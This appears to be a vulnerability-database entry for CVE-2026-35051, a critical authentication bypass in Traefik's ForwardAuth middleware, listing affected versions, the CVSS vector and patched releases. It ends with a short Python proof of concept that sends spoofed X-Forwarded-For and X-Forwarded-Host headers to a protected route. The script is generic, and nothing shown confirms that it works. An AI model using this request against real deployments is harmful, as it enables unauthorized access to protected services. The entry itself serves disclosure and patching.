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CVE-2026-35051 CVSS 10.0 CRITICAL

CVE-2026-35051

Published: 2026-04-30 21:16:32
Last Modified: 2026-05-01 17:45:41

Description

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is an authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:* - VULNERABLE
Traefik < 2.11.43
Traefik < 3.6.14
Traefik < 3.7.0-rc.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-35051: Traefik ForwardAuth Authentication Bypass This script demonstrates bypassing authentication by sending a crafted request. """ import requests target_url = "http://target-traefik-instance/protected-route" # Headers simulating a trusted upstream proxy which might trigger the bypass logic headers = { "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "localhost", "User-Agent": "CVE-2026-35051-Test" } try: response = requests.get(target_url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Potential Bypass Successful! Received 200 OK.") print(f"[+] Response Body: {response.text[:100]}") else: print(f"[-] Bypass Failed. Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

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